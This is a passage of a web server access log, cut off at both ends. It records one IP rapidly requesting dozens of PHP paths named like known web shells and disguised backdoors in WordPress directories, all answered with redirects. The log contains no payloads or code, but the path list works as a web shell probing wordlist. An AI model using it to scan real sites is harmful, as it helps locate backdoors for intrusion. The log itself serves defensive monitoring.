Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:16 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:16 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:16 +0300] "GET /wp-admin/js/file/incpb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:16 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:17 +0300] "GET /wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:17 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:17 +0300] "GET /home/O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:17 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:54:18 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:54:18 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:18 +0300] "GET /style.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:18 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:19 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:19 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:19 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:19 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:20 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:20 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:54:20 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:54:20 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:21 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:21 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:21 +0300] "GET /about/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:21 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:22 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:22 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:54:22 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:22 +0300] "GET /js/mrx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:23 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:54:23 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:54:23 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:24 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:24 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:24 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:24 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:25 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:54:25 +0300] "GET /fonts/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:25 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:54:25 +0300] "GET /entrepreneuse.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:26 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:26 +0300] "GET /wp-includes/assets/about5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:26 +0300] "GET /wp-admin/maint/lint-branch.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:54:26 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:27 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:27 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:27 +0300] "GET /index/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:27 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:28 +0300] "GET /function/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:28 +0300] "GET /wp-content/themes/tflow/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:54:28 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:28 +0300] "GET /testt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:29 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:29 +0300] "GET /wp-admin/js/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:29 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:54:29 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:30 +0300] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:54:30 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:30 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:30 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:54:31 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:31 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:31 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:32 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:32 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:32 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:32 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:33 +0300] "GET /wp-includes/js/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:33 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:33 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:33 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:34 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:54:34 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:34 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:34 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:35 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:54:35 +0300] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:35 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:54:35 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:36 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:36 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:36 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:54:36 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:37 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:37 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:37 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:37 +0300] "GET /wp-content/uploads/2021/wp-works.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:38 +0300] "GET /wp-admin/media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:38 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:38 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:38 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:39 +0300] "GET /admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:39 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:54:39 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:39 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:40 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:40 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:40 +0300] "GET /wp-content/themes/classwithtostring.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:41 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:41 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:41 +0300] "GET /assets/comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:54:41 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:54:41 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:42 +0300] "GET /adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:42 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:54:42 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:42 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:43 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:43 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:43 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:44 +0300] "GET /wp-content/plugins/pwnd/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:44 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) 